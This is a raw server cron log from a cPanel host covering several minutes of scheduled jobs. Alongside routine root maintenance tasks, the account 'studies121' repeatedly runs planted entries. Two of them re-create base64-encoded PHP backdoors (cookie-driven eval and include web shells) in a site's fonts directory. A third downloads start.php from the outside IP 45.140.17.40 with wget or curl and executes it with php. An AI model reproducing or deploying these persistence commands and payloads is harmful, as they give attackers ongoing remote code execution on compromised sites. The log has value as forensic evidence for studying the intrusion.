Aug 31 12:40:01 ip-184-168-122-23 CROND[737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:40:01 ip-184-168-122-23 CROND[738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:40:01 ip-184-168-122-23 CROND[740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:40:01 ip-184-168-122-23 CROND[741]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:40:01 ip-184-168-122-23 CROND[739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:40:01 ip-184-168-122-23 CROND[742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:41:01 ip-184-168-122-23 CROND[849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:41:01 ip-184-168-122-23 CROND[851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:41:01 ip-184-168-122-23 CROND[854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:41:01 ip-184-168-122-23 CROND[852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:42:01 ip-184-168-122-23 CROND[945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:42:01 ip-184-168-122-23 CROND[947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:42:01 ip-184-168-122-23 CROND[949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:42:01 ip-184-168-122-23 CROND[948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:42:01 ip-184-168-122-23 CROND[950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:43:01 ip-184-168-122-23 CROND[1123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:43:01 ip-184-168-122-23 CROND[1126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:43:01 ip-184-168-122-23 CROND[1125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:43:01 ip-184-168-122-23 CROND[1127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:44:01 ip-184-168-122-23 CROND[1352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:44:01 ip-184-168-122-23 CROND[1354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:44:01 ip-184-168-122-23 CROND[1355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:44:01 ip-184-168-122-23 CROND[1357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:44:01 ip-184-168-122-23 CROND[1356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:45:01 ip-184-168-122-23 CROND[1514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:45:01 ip-184-168-122-23 CROND[1516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:45:01 ip-184-168-122-23 CROND[1518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:45:01 ip-184-168-122-23 CROND[1517]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 31 12:45:01 ip-184-168-122-23 CROND[1520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:45:01 ip-184-168-122-23 CROND[1519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:45:01 ip-184-168-122-23 CROND[1521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:46:01 ip-184-168-122-23 CROND[1626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:46:01 ip-184-168-122-23 CROND[1628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:46:01 ip-184-168-122-23 CROND[1633]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 12:46:01 ip-184-168-122-23 CROND[1629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:46:01 ip-184-168-122-23 CROND[1632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:46:01 ip-184-168-122-23 CROND[1630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:46:01 ip-184-168-122-23 CROND[1631]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 12:47:01 ip-184-168-122-23 CROND[1724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:47:01 ip-184-168-122-23 CROND[1727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:47:01 ip-184-168-122-23 CROND[1725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:47:01 ip-184-168-122-23 CROND[1726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:48:01 ip-184-168-122-23 CROND[1824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:48:01 ip-184-168-122-23 CROND[1827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:48:01 ip-184-168-122-23 CROND[1826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:48:01 ip-184-168-122-23 CROND[1828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:48:01 ip-184-168-122-23 CROND[1829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:49:01 ip-184-168-122-23 CROND[1921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:49:01 ip-184-168-122-23 CROND[1925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:49:01 ip-184-168-122-23 CROND[1924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:49:01 ip-184-168-122-23 CROND[1923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:50:01 ip-184-168-122-23 CROND[2020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:50:01 ip-184-168-122-23 CROND[2021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:50:01 ip-184-168-122-23 CROND[2028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:50:01 ip-184-168-122-23 CROND[2026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:50:01 ip-184-168-122-23 CROND[2025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:50:01 ip-184-168-122-23 CROND[2027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:50:01 ip-184-168-122-23 CROND[2029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:50:01 ip-184-168-122-23 CROND[2024]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 12:50:01 ip-184-168-122-23 CROND[2030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:51:01 ip-184-168-122-23 CROND[2215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:51:01 ip-184-168-122-23 CROND[2216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:51:02 ip-184-168-122-23 CROND[2217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:51:02 ip-184-168-122-23 CROND[2218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:52:01 ip-184-168-122-23 CROND[2316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:52:01 ip-184-168-122-23 CROND[2318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
